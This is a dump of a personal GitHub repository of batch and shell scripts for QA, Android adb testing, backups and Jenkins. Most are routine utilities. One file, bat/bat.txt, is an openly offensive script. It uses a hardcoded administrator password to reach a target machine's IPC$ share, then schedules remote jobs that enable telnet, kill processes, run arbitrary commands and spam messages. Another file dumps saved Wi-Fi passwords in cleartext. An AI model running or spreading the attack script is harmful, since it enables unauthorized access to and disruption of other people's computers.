├── .DS_Store
├── .gitignore
├── bat
├── backup_data.txt
├── bat.txt
├── check_signature_info.bat
├── file-path-check.bat
├── get_pc_ip.cmd
├── get_wifi_passwd.cmd
├── jenkins
│ └── Jenkins_init.bat
├── mobile-asm.jar
├── mobile-droidAtScreen-1.1.jar
├── mobile
│ ├── adb
│ │ ├── YK_setprop_check_so.bat
│ │ ├── activity_startup_time.bat
│ │ ├── auto_install_apk.bat
│ │ ├── backup_app.sh
│ │ ├── batch_uninstall.sh
│ │ ├── check_apk_info.bat
│ │ ├── conn_with_wifi.cmd
│ │ ├── conn_with_wifi.sh
│ │ ├── current_activity.bat
│ │ ├── current_activity.sh
│ │ ├── get_phone_info.bat
│ │ ├── output_logcat_d.bat
│ │ ├── pull_crash_anr.bat
│ │ ├── pull_crash_log.sh
│ │ ├── screenrecord.bat
│ │ ├── screenrecord2.bat
│ │ ├── screenshot.sh
│ │ ├── screenshots.bat
│ │ ├── screenshots.cmd
│ │ ├── screenshots2.bat
│ │ └── sr.bat
│ ├── build
│ │ ├── build_android_apk.sh
│ │ └── build_ios_ipa.sh
│ └── monkey
│ │ ├── monkey_analysis
│ │ ├── Monkey.bat
│ │ ├── config.conf
│ │ ├── monkey_cmd.cmd
│ │ └── monkey_log_analysis.bat
│ │ ├── monkey_no_env
│ │ ├── AdbWinApi.dll
│ │ ├── Common.cmd
│ │ ├── adb2.exe
│ │ ├── kill_monkey_pid.bat
│ │ ├── log_analysis.bat
│ │ └── monkey_log_analysis.bat
│ │ ├── monkey_script.bat
│ │ └── monkey_with_config.bat
├── selenium-server.bat
├── service_port_chk.bat
├── test-datetime-1.bat
├── test-datetime.bat
├── virtual_wifi_start.bat
├── virtual_wifi_stop.bat
└── win-port-open.bat
├── docker
├── .DS_Store
├── Dockerfile
│ ├── .DS_Store
│ ├── base
│ │ ├── base-tomcat-8
│ │ └── official-tomcat-8
│ ├── browsermob
│ │ ├── browsermob
│ │ └── browsermob-proxy-2.1.4-bin.zip
│ ├── chrome
│ │ ├── .DS_Store
│ │ ├── 2.53.1
│ │ │ ├── chrome-dbg-zh-2.53.1
│ │ │ └── chrome-zh-2.53.1
│ │ ├── 3.141.0
│ │ │ ├── chrome-dbg-zh-3.141
│ │ │ ├── chrome-dbg-zh-3.141.59
│ │ │ ├── uts-hub-3.141
│ │ │ ├── uts-node-chrome-3.141
│ │ │ └── uts-node-firefox-3.141
│ │ ├── 3.141.5-test
│ │ │ ├── chrome-dbg-zh-3.141.5
│ │ │ ├── generate_config
│ │ │ ├── linux_signing_key.pub
│ │ │ ├── selenium-debug.conf
│ │ │ ├── selenium.conf
│ │ │ ├── start-fluxbox.sh
│ │ │ ├── start-selenium-standalone.sh
│ │ │ ├── start-vnc.sh
│ │ │ └── wrap_chrome_binary
│ │ └── docker-chrome-setup.md
│ ├── cppcheck
│ │ ├── Dockerfile
│ │ ├── build.sh
│ │ └── docker-compose.yml
│ ├── example
│ │ ├── crontab
│ │ ├── dubbo-admin
│ │ ├── entrypoint
│ │ ├── ftp
│ │ ├── golang
│ │ ├── jar
│ │ ├── open-api
│ │ └── webtest
│ ├── httprunner
│ │ ├── Dockerfile
│ │ ├── build.sh
│ │ └── docker-compose.yml
│ ├── jmeter
│ │ ├── .DS_Store
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── deploy.sh
│ │ ├── docker-compose.yml
│ │ ├── jmeternode
│ │ │ ├── .DS_Store
│ │ │ ├── add_mem.sh
│ │ │ ├── app.js
│ │ │ ├── config
│ │ │ │ ├── config.js
│ │ │ │ └── log4j.json
│ │ │ ├── get_mem.sh
│ │ │ ├── install.sh
│ │ │ ├── package.json
│ │ │ ├── public
│ │ │ │ ├── css
│ │ │ │ │ └── style.css
│ │ │ │ └── js
│ │ │ │ │ └── script.js
│ │ │ ├── routes
│ │ │ │ └── index.js
│ │ │ ├── stop_all.sh
│ │ │ └── views
│ │ │ │ ├── charts
│ │ │ │ └── index.html
│ │ │ │ ├── index.ejs
│ │ │ │ ├── jmxs
│ │ │ │ ├── add.ejs
│ │ │ │ └── delete.ejs
│ │ │ │ └── layouts
│ │ │ │ ├── footer.ejs
│ │ │ │ ├── header.ejs
│ │ │ │ └── message.ejs
│ │ ├── mysql
│ │ │ ├── Dockerfile
│ │ │ ├── docker-compose.yml
│ │ │ └── jmxs.sql
│ │ └── start.sh
│ ├── kratos
│ │ ├── kratos-service
│ │ ├── requirements.txt
│ │ └── run.sh
│ ├── node-work
│ │ ├── agent-stack.yml
│ │ ├── common
│ │ │ └── config
│ │ │ │ ├── .DS_Store
│ │ │ │ ├── dubbo-admin
│ │ │ │ └── dubbo.properties
│ │ │ │ ├── nginx
│ │ │ │ ├── nginx.conf
│ │ │ │ ├── nginx.conf.bak
│ │ │ │ └── nginxgateway.conf
│ │ │ │ ├── prometheus
│ │ │ │ ├── docker_influxdb_create_user.sh
│ │ │ │ └── prometheus.yml
│ │ │ │ └── zookeeper
│ │ │ │ └── conf
│ │ │ │ ├── zoo.cfg
│ │ │ │ └── zoo.cfg.dynamic.next
│ │ ├── compose-basic.yml
│ │ ├── compose-uts.yml
│ │ ├── readme-config.md
│ │ └── readme-vnc.md
│ ├── performance
│ │ ├── .DS_Store
│ │ ├── README.md
│ │ ├── deploy.sh
│ │ ├── deploy_analyze.sh
│ │ ├── docker-compose.yml
│ │ ├── installdocker.sh
│ │ ├── mysql
│ │ │ └── docker-compose.yml
│ │ ├── performance-analyze
│ │ │ ├── .DS_Store
│ │ │ ├── buildimages
│ │ │ │ ├── Dockerfile
│ │ │ │ └── build.sh
│ │ │ └── docker-compose.yml
│ │ └── performance-report
│ │ │ ├── .DS_Store
│ │ │ ├── buildbaseimages
│ │ │ ├── Dockerfile
│ │ │ ├── build.sh
│ │ │ └── simsun.ttc
│ │ │ ├── buildimages
│ │ │ ├── Dockerfile
│ │ │ ├── build.sh
│ │ │ └── simsun.ttc
│ │ │ ├── docker-compose.yml
│ │ │ └── start.sh
│ ├── qa-platform
│ │ ├── .DS_Store
│ │ ├── buildbaseimages
│ │ │ ├── Dockerfile
│ │ │ └── build.sh
│ │ ├── buildimages
│ │ │ ├── Dockerfile
│ │ │ └── build.sh
│ │ ├── docker-compose.yml
│ │ ├── mysqld.cnf
│ │ └── nginx-backendQc.conf
│ ├── uts
│ │ ├── .mavenrc
│ │ ├── uts-base
│ │ ├── uts-service
│ │ ├── uts-shadow
│ │ └── uts-webapp
│ └── wpt
│ │ ├── wpt-agent
│ │ ├── wpt-server
│ │ ├── wpt-service
│ │ └── wpt-webapp
├── readme-init-env.md
└── readme.md
├── jenkins
└── .DS_Store
├── readme.md
└── shell
├── demo
├── accept_cmd_param.sh
├── awk_content.sh
├── calc_file_num.sh
├── calc_func
├── call_func.sh
├── check_file
├── check_permission.sh
├── condition_case.sh
├── condition_for.sh
├── condition_while.sh
├── create_file.sh
├── create_user.sh
├── install_001(1)
├── judge_dir_null.sh
├── oracle_install.sh
├── read_param
├── rmfille
└── tree.sh
├── nmon
├── nmon
└── nmon_start.sh
├── notification
├── mail_log.sh
└── weixin_log.sh
├── software
├── generate-certificate.sh
├── jenkins.sh
├── redis_ip_cheack.sh
└── update-crontab.sh
├── spring-boot-server
├── creditstartup.sh
├── serverDeploy.sh
└── serverMonitor.sh
└── tomcat
├── .mavenrc
├── batchUpProject.sh
├── checkServer.sh
├── serverDeploy.sh
├── service.sh
├── service2.sh
└── simple-restart.sh
/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/.DS_Store
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | # Distribution / packaging
3 |
4 | .idea/
5 | env/
6 | develop-eggs/
7 | dist/
8 | downloads/
9 | eggs/
10 | .eggs/
11 | lib/
12 | lib64/
13 | parts/
14 | sdist/
15 | var/
16 | *.egg-info/
17 | .installed.cfg
18 | *.egg
19 |
20 | # PyInstaller
21 | # Usually these files are written by a python script from a template
22 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
23 | *.manifest
24 | *.spec
25 |
26 | # Installer logs
27 | pip-log.txt
28 | pip-delete-this-directory.txt
29 |
30 | # Unit test / coverage reports
31 | htmlcov/
32 | .tox/
33 | .coverage
34 | .coverage.*
35 | .cache
36 | nosetests.xml
37 | coverage.xml
38 | *,cover
39 | .hypothesis/
40 |
41 | # Translations
42 | *.mo
43 | *.pot
44 |
45 | # Django stuff:
46 | *.log
47 | local_settings.py
48 |
49 | # Flask stuff:
50 | instance/
51 | .webassets-cache
52 |
53 | # Scrapy stuff:
54 | .scrapy
55 |
56 | # Sphinx documentation
57 | docs/_build/
58 |
59 | # PyBuilder
60 | target/
61 |
62 | # IPython Notebook
63 | .ipynb_checkpoints
64 |
65 | # pyenv
66 | .python-version
67 |
68 | # celery beat schedule file
69 | celerybeat-schedule
70 |
71 | # dotenv
72 | .env
73 |
74 | # virtualenv
75 | venv/
76 | ENV/
77 |
78 | # Spyder project settings
79 | .spyderproject
80 |
81 | # Rope project settings
82 | .ropeproject
83 | **.tar.gz
84 | .DS_Store
--------------------------------------------------------------------------------
/bat/backup_data.txt:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo 当前盘符:%~d0
3 | echo 当前盘符和路径:%~dp0
4 | echo 当前盘符和路径的短文件名格式:%~sdp0
5 | echo 当前批处理全路径:%~f0
6 | echo 当前CMD默认目录:%cd%
7 | pause
8 |
9 |
10 |
11 | @echo off
12 |
13 | echo %~dp0
14 | set b=src\labautotest\run\test_run\test_run_suite.py
15 | echo %b%
16 | set rp=%%~dp0%b%
17 |
18 | echo %rp%
19 | pause
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | @echo off
29 | set p1=:\Program Files\WinRAR\WinRAR.exe
30 | set p2=:\Program Files (x86)\WinRAR\WinRAR.exe
31 |
32 | for %%i in (b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
33 | set rp=%%i%p1%
34 | echo %rp%
35 |
36 | if exist %%i%p1% goto runRar
37 | )
38 |
39 | echo noFound.
40 | goto end
41 |
42 | :runRar
43 | echo %rp%
44 |
45 | :end
46 |
47 | @pause
--------------------------------------------------------------------------------
/bat/bat.txt:
--------------------------------------------------------------------------------
1 | 知道IP先运行CMD.再输入TRACERT XX.XX.XX.XX
2 | 其中XX.XXX.XXX.XXX为对方IP,看到第4和第5行就是别人IP上网地址,
3 | 开再个DOS窗口.输入NBTSTAT -A XX.XXX.XXX.XXX
4 | 就可以获得别人用户名
5 | 再用CMD进入别人计算机吧。其它的DOS 指定自己去找。
6 | -------------------------------------------------------------------------------------给你个bat
7 |
8 | set /p num=密码正确!请输入要攻击的机器号(如D01):
9 | net use \\%num%\IPC$ "2966220" /user:administrator
10 | :f04
11 | cls
12 | echo 1.开启对方的Telnet服务!
13 | echo 2.重启对方机器!
14 | echo 3.输入指定命令!
15 | echo 4.返回上层
16 | echo 5.退出程序
17 | set /p ch=请选择:
18 | if %ch%==1 (goto f01)
19 | if %ch%==2 (goto f02)
20 | if %ch%==3 (goto f03)
21 | if %ch%==4 (goto f00)
22 | if %ch%==5 (exit)
23 | :f01
24 | net time \\%num%
25 | set /p tim=请输入时间,将上面的时间延迟两分钟:
26 | at \\%num% %tim% net start telnet /port:456789 /nomsg
27 | goto f04
28 | :f02
29 | net time \\%num%
30 | set /p tim=请输入时间,将上面的时间延迟两分钟:
31 | at \\%num% %tim% /interactive ntsd -c q -p 160
32 | goto f04
33 | :f03
34 | set /p ca=请输入命令:
35 | net time \\%num%
36 | set /p tim=请输入时间,将上面的时间延迟两分钟:
37 | at \\%num% %tim% /interactive %ca%
38 | goto f04
39 | exit
40 | :st5
41 | cls
42 | set /p numb=请输入对方的机器号(如D01):
43 | :mess
44 | set /p msg=请输入消息内容:
45 | net send %numb% %msg%
46 | goto mess
47 | exit
--------------------------------------------------------------------------------
/bat/check_signature_info.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
4 | ECHO.:: ::
5 | ECHO.:: 查看APK签名信息 ::
6 | ECHO.:: ::
7 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
8 |
9 | Color 0A
10 |
11 | ECHO.
12 |
13 | ECHO.[ HELP ] 可查看RSA、APK、keystore签名信息
14 |
15 | SET C_PATH=%~dp0
16 |
17 | REM 方法:直接将APK或RSA文件到bat文件上
18 |
19 | IF NOT "%1"=="" SET apkorFile=%1
20 |
21 | IF "%~x1"==".RSA" GOTO RSAFile
22 |
23 | IF "%~x1"==".rsa" GOTO RSAFile
24 |
25 | IF "%~x1"==".apk" GOTO APKFile
26 |
27 | IF "%~x1"==".APK" GOTO APKFile
28 |
29 | IF "%~x1"==".keystore" GOTO KEYSTOREFile
30 |
31 | IF "%~x1"==".KEYSTORE" GOTO KEYSTOREFile
32 |
33 | Color 0D
34 |
35 | ECHO.[ HELP ] 请将RSA或得APK或者keystore拖至Bat文件上
36 |
37 | GOTO BATend
38 |
39 |
40 | :KEYSTOREFile
41 |
42 | DEL "%C_PATH%%~nx1.txt" 2>nul
43 |
44 | ECHO.[ INFO ] INPUT:%apkorFile%
45 |
46 | ECHO.[ INFO ] OUT: %C_PATH%%~nx1.txt
47 |
48 | ECHO.
49 |
50 | keytool -list -v -keystore %apkorFile% > "%C_PATH%%~nx1.txt"
51 |
52 | type "%C_PATH%%~nx1.txt"
53 |
54 | GOTO BATend
55 |
56 |
57 | :RSAFile
58 |
59 | DEL "%C_PATH%%~n1.RSA.txt" 2>nul
60 |
61 | ECHO.[ INFO ] INPUT:%apkorFile%
62 |
63 | ECHO.[ INFO ] OUT: %C_PATH%%~n1.RSA.txt
64 |
65 | ECHO.
66 |
67 | keytool -printcert -file %apkorFile% > "%C_PATH%%~n1.RSA.txt"
68 |
69 | type "%C_PATH%%~n1.RSA.txt"
70 |
71 | GOTO BATend
72 |
73 |
74 | :APKFile
75 |
76 | ECHO.[ INFO ] INPUT:%apkorFile%
77 |
78 | ECHO.[ INFO ] OUT: %C_PATH%%~n1.RSA.txt
79 |
80 | RD /S /Q %~n1_META-INF 2>nul
81 |
82 | ::jar tf %apkorFile%|Findstr "RSA"
83 |
84 | ::解压签名目录
85 |
86 | jar -xf %apkorFile% META-INF
87 |
88 | ::重合名文件夹
89 |
90 | REN META-INF %~n1_META-INF
91 |
92 | ::查看签名文件信息
93 |
94 | CD %~n1_META-INF
95 |
96 | FOR %%I IN (*.RSA) DO (
97 |
98 | ECHO.[ INFO ] %%I
99 |
100 | ECHO.
101 |
102 | keytool -printcert -file %%I > "%C_PATH%%~n1.RSA.txt"
103 |
104 | type "%C_PATH%%~n1.RSA.txt"
105 |
106 | )
107 |
108 | CD %~dp1
109 |
110 | RD /S /Q %~n1_META-INF 2>nul
111 |
112 |
113 |
114 | :BATend
115 |
116 | ECHO.
117 |
118 | ECHO.[ EXIT ] 按任意键关闭窗口...
119 |
120 | PAUSE>nul
121 |
--------------------------------------------------------------------------------
/bat/file-path-check.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo ****************************************
3 | echo 自动创建文件夹(存放备份文件和备份脚本)
4 | echo ****************************************
5 |
6 | set Pan=d:\
7 | set AFolder=MIS\
8 | set BFolder=OracleDBAutoBackup\
9 | set C1Folder=BackupTools
10 | set C2Folder=AutoBakFiles
11 | set C3Folder=AutoBakHistoryFiles
12 | set C4Folder=AutoBakBatRunLogs
13 |
14 |
15 |
16 | echo 本批处理准备创建以下文件夹
17 | echo 1.存放备份的批处理脚本 %Pan%%AFolder%%BFolder%%C1Folder%
18 | echo 2.存放备份文件 %Pan%%AFolder%%BFolder%%C2Folder%
19 | echo 3.存放备份历史文件 %Pan%%AFolder%%BFolder%%C3Folder%
20 | echo 4.存放备份脚本执行日志 %Pan%%AFolder%%BFolder%%C4Folder%
21 | echo .
22 | echo 开始执行-----------------------
23 |
24 | if exist %Pan% (
25 |
26 | if exist %Pan%%AFolder% (
27 | rem 目录d:\MIS已存在,无需创建
28 | echo 目录%Pan%%AFolder%已存在,无需创建
29 | ) else (
30 | rem 创建d:\MIS
31 | echo 创建%Pan%%AFolder%
32 | md %Pan%%AFolder%
33 | )
34 |
35 | if exist %Pan%%AFolder%%BFolder% (
36 | rem 目录d:\MIS\OracleDBAutoBackup已存在,无需创建
37 | echo 目录%Pan%%AFolder%%BFolder%已存在无需创建
38 | ) else (
39 | rem 创建d:\MIS\OracleDBAutoBackup
40 | echo 创建%Pan%%AFolder%%BFolder%
41 | md %Pan%%AFolder%%BFolder%
42 | )
43 |
44 | if exist %Pan%%AFolder%%BFolder%%C1Folder% (
45 | rem 目录d:\MIS\OracleDBAutoBackup\BackupTools已存在,无需创建
46 | echo 目录%Pan%%AFolder%%BFolder%%C1Folder%已存在,无需创建
47 | ) else (
48 | rem 创建d:\MIS\OracleDBAutoBackup\BackupTools
49 | echo 创建%Pan%%AFolder%%BFolder%%C1Folder%
50 | md %Pan%%AFolder%%BFolder%%C1Folder%
51 | )
52 |
53 | if exist %Pan%%AFolder%%BFolder%%C2Folder% (
54 | rem 目录d:\MIS\OracleDBAutoBackup\AutoBakFiles已存在,无需创建
55 | echo 目录%Pan%%AFolder%%BFolder%%C2Folder%已存在,无需创建
56 | ) else (
57 | rem 创建d:\MIS\OracleDBAutoBackup\AutoBakFiles
58 | echo 创建%Pan%%AFolder%%BFolder%%C2Folder%
59 | md %Pan%%AFolder%%BFolder%%C2Folder%
60 | )
61 |
62 | if exist %Pan%%AFolder%%BFolder%%C3Folder% (
63 | rem 目录d:\MIS\OracleDBAutoBackup\AutoBakHistoryFiles已存在,无需创建
64 | echo 目录%Pan%%AFolder%%BFolder%%C3Folder%已存在,无需创建
65 | ) else (
66 | rem 创建d:\MIS\OracleDBAutoBackup\AutoBakHistoryFiles
67 | echo 创建%Pan%%AFolder%%BFolder%%C3Folder%
68 | md %Pan%%AFolder%%BFolder%%C3Folder%
69 | )
70 |
71 | if exist %Pan%%AFolder%%BFolder%%C4Folder% (
72 | rem 目录d:\MIS\OracleDBAutoBackup\AutoBakBatRunLogs已存在,无需创建
73 | echo 目录%Pan%%AFolder%%BFolder%%C4Folder%已存在,无需创建
74 | ) else (
75 | rem 创建d:\MIS\OracleDBAutoBackup\AutoBakBatRunLogs
76 | echo 创建%Pan%%AFolder%%BFolder%%C4Folder%
77 | md %Pan%%AFolder%%BFolder%%C4Folder%
78 | )
79 |
80 | ) else (
81 | echo !!
82 | echo !!执行失败,当前系统上不存在%Pan%盘
83 | echo !!
84 | )
85 | echo .
86 | echo 已执行完毕(退出请按任意键或直接关闭窗体)-----------------------
87 | echo .
88 | pause
--------------------------------------------------------------------------------
/bat/get_pc_ip.cmd:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | echo ----------------------------------------------------
4 |
5 | echo 本机ip地址为:
6 |
7 | ipconfig | findstr "IPv4"
8 |
9 | echo ----------------------------------------------------
10 |
11 | ping -n 10 127.0.0.1>nul
12 |
13 | @ECHO ON
14 |
--------------------------------------------------------------------------------
/bat/get_wifi_passwd.cmd:
--------------------------------------------------------------------------------
1 | for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')
2 | do
3 | @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
4 |
--------------------------------------------------------------------------------
/bat/jenkins/Jenkins_init.bat:
--------------------------------------------------------------------------------
1 | cd C:\Jenkins
2 | java -Dhudson.util.ProcessTree.disable=true -jar jenkins.war --httpPort=8089
--------------------------------------------------------------------------------
/bat/mobile-asm.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/bat/mobile-asm.jar
--------------------------------------------------------------------------------
/bat/mobile-droidAtScreen-1.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/bat/mobile-droidAtScreen-1.1.jar
--------------------------------------------------------------------------------
/bat/mobile/adb/YK_setprop_check_so.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | echo ------需要手机连接上电脑----------------------------
4 |
5 | echo 使用adb shell setprop进行log日志配置:
6 |
7 | adb shell setprop debug.adoplayer.log.component 127
8 |
9 | adb shell setprop debug.adoplayer.log.level info
10 |
11 | adb shell setprop debug.adoplayer.log.option pts
12 |
13 | echo -----已配置完成-------------------------------------
14 |
15 | echo -----打印配置结果-----------------------------------
16 |
17 | adb shell getprop | findstr debug.adoplayer.log
18 |
19 | ping 127.0.0.1 -n 1 >nul
20 |
21 | echo -----查看so文件是否存在-----------------------------
22 |
23 | adb shell ls /sdcard/ | findstr .so$
24 |
25 | echo -----3秒后结束执行----------------------------------
26 |
27 | ping 127.0.0.1 -n 3 >nul
28 |
29 | @ECHO ON
30 |
--------------------------------------------------------------------------------
/bat/mobile/adb/activity_startup_time.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
4 | ECHO.:: ::
5 | ECHO.:: Activity启动跳转时间监控 ::
6 | ECHO.:: ::
7 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
8 |
9 |
10 | ECHO.[ INFO ] 清空日志
11 |
12 | adb logcat -c
13 |
14 | ECHO.[ INFO ] 监控开始(Ctrl+C结束)
15 |
16 | ECHO.[ INFO ] 保存请拷贝输出内容
17 |
18 | adb logcat -s ActivityManager | Findstr /C:": Displayed"
--------------------------------------------------------------------------------
/bat/mobile/adb/auto_install_apk.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO [安装APK]
4 |
5 | ECHO -------------------------------
6 |
7 | ECHO [等待插入手机...]
8 |
9 | adb wait-for-device
10 |
11 | ECHO [覆盖安装] %~nx1
12 |
13 | adb install -r %1
14 |
15 | ECHO [暂停5秒自动关闭...]
16 |
17 | ping -n 5 127.0.0.1>nul
18 |
19 | @ECHO ON
--------------------------------------------------------------------------------
/bat/mobile/adb/backup_app.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | #获取设备当前应用,存放于app目录下
4 |
5 | #获取设备当前应用的包名
6 | pkgname=`adb shell dumpsys window w | grep \/ | grep name= | cut -d = -f 3 | cut -d / -f 1`
7 |
8 | #获取应用的apk路径
9 | pkgpath=`adb shell pm list packages -f $pkgname | cut -d : -f 2 | cut -d = -f 1`
10 |
11 | #apk存放目录
12 | dir=app
13 | if [ ! -d "$dir" ]
14 | then
15 | mkdir $dir
16 | fi
17 |
18 | #pull apk
19 | echo start pull $pkgname
20 | `adb pull $pkgpath $dir`
21 | echo Completed
22 |
23 |
--------------------------------------------------------------------------------
/bat/mobile/adb/batch_uninstall.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | adb shell wait-for-device
4 | echo start remove...
5 |
6 | for package in `adb shell pm list package -3 | cut -d : -f 2 | tr -d "\r"`
7 | do
8 | echo remove $package
9 | adb uninstall $package
10 | done
11 |
--------------------------------------------------------------------------------
/bat/mobile/adb/check_apk_info.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO [查看APK包信息]
4 |
5 | ECHO -------------------------------
6 |
7 | ECHO aapt dump badging %~nx1
8 |
9 | aapt dump badging %1 > %~dp0%~n1.txt
10 |
11 | ECHO [暂停3秒自动关闭...]
12 |
13 | ping -n 3 127.0.0.1>nul
14 | @ECHO ON
--------------------------------------------------------------------------------
/bat/mobile/adb/conn_with_wifi.cmd:
--------------------------------------------------------------------------------
1 | @echo off &setlocal enabledelayedexpansion
2 | ::set your port
3 | set PORT_BASE=5555
4 |
5 | ::list the device
6 | adb devices |findstr /i "\" >nul
7 | if "%errorlevel%" neq "0" (
8 | echo "device not found."
9 | goto :eof
10 | )
11 |
12 | ::set devices serial
13 | for /f "tokens=1" %%i in ('adb devices^|findstr "\"') do (
14 | set device_serial=%%i
15 | echo
16 | )
17 | echo found devices %device_serial%
18 |
19 | ::find IP for the phone
20 | for /f "tokens=3 delims= " %%i in ('adb shell ifconfig wlan0') do (
21 | set phone_ip=%%i
22 | )
23 | echo device ip is %phone_ip%
24 |
25 | echo "Connecting......"
26 | adb -s %device_serial% tcpip %PORT_BASE%
27 | adb -s %device_serial% connect %phone_ip%:%PORT_BASE%
28 |
29 | echo Done
30 | adb devices -l
31 | ping -n 50 127.0.0.1 >&2 >nul
32 |
--------------------------------------------------------------------------------
/bat/mobile/adb/conn_with_wifi.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #Modify this with your IP range
4 | MY_IP_RANGE="192\.168\.1"
5 |
6 | #You usually wouldn't have to modify this
7 | PORT_BASE=5555
8 |
9 | #List the devices on the screen for your viewing pleasure
10 | adb devices
11 | echo
12 |
13 | #Find USB devices only (no emulators, genymotion or connected devices
14 | declare -a deviceArray=(`adb devices -l | grep -v emulator | grep -v vbox | grep -v "${MY_IP_RANGE}" | grep " device " | awk '{print $1}'`)
15 |
16 | echo "found ${#deviceArray[@]} device(s)"
17 | echo
18 |
19 | for index in ${!deviceArray[*]}
20 | do
21 | echo "finding IP address for device ${deviceArray[index]}"
22 | IP_ADDRESS=$(adb -s ${deviceArray[index]} shell ifconfig wlan0 | awk '{print $3}')
23 |
24 | echo "IP address found : $IP_ADDRESS "
25 |
26 | echo "Connecting..."
27 | adb -s ${deviceArray[index]} tcpip $(($PORT_BASE + $index))
28 | adb -s ${deviceArray[index]} connect "$IP_ADDRESS:$(($PORT_BASE + $index))"
29 |
30 | echo
31 | echo
32 | done
33 |
34 | adb devices -l
35 | #exit
--------------------------------------------------------------------------------
/bat/mobile/adb/current_activity.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | COLOR 0A
4 |
5 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
6 | ECHO.:: ::
7 | ECHO.:: 当前运行的APP包名 ::
8 | ECHO.:: ::
9 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
10 |
11 | FOR /F "tokens=3 delims= " %%a in ('adb shell dumpsys window^|find "mCurrentFocus"') do (
12 |
13 | FOR /F "tokens=1 delims=}" %%i in ("%%a") do (
14 |
15 | ECHO.[ INFO ] 包名/活动名
16 |
17 | ECHO.[ INFO ] %%i
18 |
19 | )
20 | )
21 |
22 | ECHO.
23 |
24 | PAUSE
25 |
--------------------------------------------------------------------------------
/bat/mobile/adb/current_activity.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | #获取设备当前应用的Activity,打印在控制台
4 | adb shell dumpsys window w | grep \/ | grep name= | cut -d = -f 3 | cut -d \) -f 1
5 |
6 | #将结果写入currentActivity.txt文件中
7 | #adb shell dumpsys window w | grep \/ | grep name= | cut -d = -f 3 | cut -d \) -f 1 > currentActivity.txt
8 |
--------------------------------------------------------------------------------
/bat/mobile/adb/get_phone_info.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO [读取手机信息]
4 |
5 | ECHO -------------------------------
6 |
7 | adb shell cat /system/build.prop>%~dp0\phone.info
8 |
9 | FOR /F "tokens=1,2 delims==" %%a in (phone.info) do (
10 |
11 | IF %%a == ro.build.version.release SET androidOS=%%b
12 |
13 | IF %%a == ro.product.model SET model=%%b
14 |
15 | IF %%a == ro.product.brand SET brand=%%b
16 |
17 | )
18 |
19 | del /a/f/q %~dp0\phone.info
20 |
21 | ECHO.
22 |
23 | ECHO.手机品牌: %brand%
24 |
25 | ECHO.手机型号: %model%
26 |
27 | ECHO.系统版本: Android %androidOS%
28 |
29 | ECHO.-------------------------------
30 |
31 | ECHO.手机品牌: %brand%>>"%~dp0\Phone_%model%.txt"
32 |
33 | ECHO.手机型号: %model%>>"%~dp0\Phone_%model%.txt"
34 |
35 | ECHO.系统版本: Android %androidOS%>>"%~dp0\Phone_%model%.txt"
36 |
37 | ECHO [暂停5秒自动关闭...]
38 |
39 | ping -n 5 127.0.0.1>nul
40 |
41 | @ECHO ON
--------------------------------------------------------------------------------
/bat/mobile/adb/output_logcat_d.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.[导出logcat日志]
4 |
5 | ECHO.-------------------------------
6 |
7 | adb logcat -d>"%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.log"
8 |
9 | ECHO.[暂停5秒自动关闭...]
10 |
11 | ping -n 5 127.0.0.1>nul
12 |
13 | @ECHO ON
--------------------------------------------------------------------------------
/bat/mobile/adb/pull_crash_anr.bat:
--------------------------------------------------------------------------------
1 | adb pull /data/anr/ anr
2 | adb shell dumpsys dropbox system_app_crash --print>>Crash.txt
--------------------------------------------------------------------------------
/bat/mobile/adb/pull_crash_log.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | # 获取crash日志,存放至crash_log目录下
4 |
5 | timestamp=`adb shell date +%F_%H-%M-%S | tr -d "\r"`
6 | adb shell dumpsys dropbox | grep data_app_crash > temp.txt
7 | log_dir="./crash_log"
8 |
9 | if [ ! -d "$log_dir" ]
10 | then
11 | mkdir $log_dir
12 | fi
13 |
14 | get_crash_log()
15 | {
16 | time_list=[]
17 | index=0
18 | for result in `cat temp.txt | cut -d " " -f 2`
19 | do
20 | time_list[$index]=$result
21 | let "index+=1"
22 |
23 | done
24 |
25 | for time in ${time_list[@]}
26 | do
27 | adb shell dumpsys dropbox --print $time >> $log_dir/$timestamp.log
28 | done
29 | }
30 |
31 | get_crash_log
32 | rm -f temp.txt
